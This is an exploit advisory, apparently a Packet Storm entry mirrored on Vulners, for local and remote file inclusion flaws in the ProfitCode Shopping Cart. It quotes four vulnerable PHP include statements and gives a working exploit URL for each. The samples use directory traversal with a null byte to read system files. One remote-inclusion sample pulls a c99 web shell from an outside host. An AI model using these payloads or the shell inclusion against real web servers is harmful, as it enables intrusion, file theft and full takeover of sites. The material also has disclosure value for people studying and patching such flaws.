Lucene search
K

ProfitCode Shopping Cart Local File Inclusion / Remote File Inclusion

🗓️ 11 Jan 2010 00:00:00Reported by Zer0 ThunderType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

ProfitCode Shopping Cart LFI/RFI vulnerability in dl-authcontent.php, dl-maincatsearch-dlcontent.php, dloads-payed.php, and dloads-header.ph

Code
`# Exploit Title: ProfitCode Shopping Cart Multi Vulnerability (LFI/RFI)  
# Date: 2010-01-09  
# Author: Zer0 Thunder  
# Site : http://www.profitcode.net/ - http://profbiz-cart.sourceforge.net/  
# Software Link: http://sourceforge.net/project/platformdownload.php?group_id=258424  
# Tested on: Windows XP sp2 [WampServer 2.0i]   
  
- There are Cople of pages that has the LFI vuln  
Vuln c0de : dl-authcontent.php  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
$returlvar = "dloads";  
include "$docroot" . "tplates/usrauthlogin.php";  
exit;  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
  
Exploit :  
http://localhost/store/dloads/dloadsmainincs/dl-authcontent.php?docroot=[LFI]  
  
Sample :   
http://localhost/store/dloads/dloadsmainincs/dl-authcontent.php?docroot=../../../../../boot.ini%00  
  
***************************************************************************************************  
  
vuln c0de : dl-maincatsearch-dlcontent.php  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
include("$docroot" . "shopincs/catpgtop$langFile.php");  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Exploit  
http://localhost/store/dloads/dloadsmainincs/dl-maincatsearch-dlcontent.php?docroot=[LFI]  
  
Sample  
http://localhost/store/dloads/dloadsmainincs/dl-maincatsearch-dlcontent.php?docroot=../../../../../boot.ini%00  
  
  
Vuln c0de : dloads-payed.php  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
include "$docroot" . "tplates/usrauthlogin.php";  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Exploit   
http://localhost/store/dloads/dloadstplates/dloads-payed.php?docroot=[LFI]  
  
Sample   
http://localhost/store/dloads/dloadstplates/dloads-payed.php?docroot=.../../../../../../../../boot.ini%00  
  
  
************************************************************************  
  
- For Some resons this comeup with a RFI   
  
Vuln c0de : dloads-header.php  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
include "$docroot" . "dloads/dloadsmainincs/inc-dloadsfunctions.php";  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Exploit   
http://localhost/store/dloads/dloads-header.php?docroot=[RFI]  
  
Sample   
http://localhost/store/dloads/dloads-header.php?docroot=http://www.cfsm.cn/c99.txt?%00  
  
  
########################################  
# MSN : [email protected]  
# Email : [email protected]  
# Site : LKHackers.com  
# Greetz : To all my friends  
# Note : Proud to be a Sri Lankan  
# Me : Sri Lankan Hacker  
########################################  
  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation